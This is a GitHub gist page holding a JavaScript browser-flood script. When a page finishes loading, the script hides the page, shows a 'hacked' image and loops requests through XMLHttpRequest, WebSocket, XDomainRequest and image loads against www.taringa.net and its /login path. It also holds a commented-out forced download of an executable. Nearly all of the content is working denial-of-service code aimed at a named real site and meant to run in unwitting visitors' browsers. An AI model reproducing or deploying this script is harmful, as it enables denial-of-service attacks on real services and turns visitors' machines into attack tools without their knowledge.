Skip to content

Instantly share code, notes, and snippets.

@zulu15
Created July 15, 2017 03:02
Show Gist options
  • Save zulu15/9aa9c6eb9b556b7d836567ffe3a10f46 to your computer and use it in GitHub Desktop.
Save zulu15/9aa9c6eb9b556b7d836567ffe3a10f46 to your computer and use it in GitHub Desktop.
/*var link = document.createElement('a');
link.href = 'http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe';
link.download = '';
document.body.appendChild(link);
link.click();
*/
document.onreadystatechange = () => {
if (document.readyState === 'complete') {
var html = document.getElementsByTagName("HTML")[0];
var body = document.getElementsByTagName("BODY")[0];
body.style.display = 'none';
html.style.backgroundImage = 'url(http://www.itp.net/images/content/586986/article/12035-hacked_article.jpg)';
flood();
}
};
var target = 'www.taringa.net';
var thread_count = 1;
var scan_counter = 0;
var resp_size_counter = 0;
var Sys = {};
var ua = navigator.userAgent.toLowerCase();
var s;
(s = ua.match(/msie ([\d.]+)/)) ? Sys.ie = s[1] : 0;
var xhr;
if (!Sys.ie){
var i = 0;
while(i<thread_count){
while_loop_cor();
i++;
}
}else{
var i = 0;
while(i<thread_count){
while_loop_ie();i++;
}
}
if (!Sys.ie){
xhr = new XMLHttpRequest();
xhr.onreadystatechange = processResp;
}else{
xdr = new XDomainRequest();
xdr.timeout = 1000;
}
function while_loop_cor(){
try{
ws = new WebSocket('ws://' + target);
scan_counter = scan_counter+1;
xhr = new XMLHttpRequest();
var furl='http://' + target + '/buscar/?q=' + Math.floor(Math.random()*10000000000);
xhr.open('GET', furl);
xhr.onreadystatechange = function(){
if (xhr.readyState==4){
resp_size_counter = resp_size_counter+xhr.responseText.length;
}
};
xhr.onerror = function(e){}
xhr.send(100);
setTimeout("while_loop_cor()",100);
}
catch(err){return;}
}
function while_loop_ie(){
try{
scan_counter = scan_counter+1;
xdr = new XDomainRequest();
xdr.open('get', 'http://' + target + ':80');
xdr.send();
setTimeout('while_loop_ie()',0);
}catch(err){
return;
}
}
function processResp(){
if (xmlhttp.readyState==4){}
}
function imgflood() {
var TARGET = 'www.taringa.net' //target
var URI = '/login' //URI, make sure it starts with '/'
var pic = new Image();
pic.src = 'http://'+TARGET+URI
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment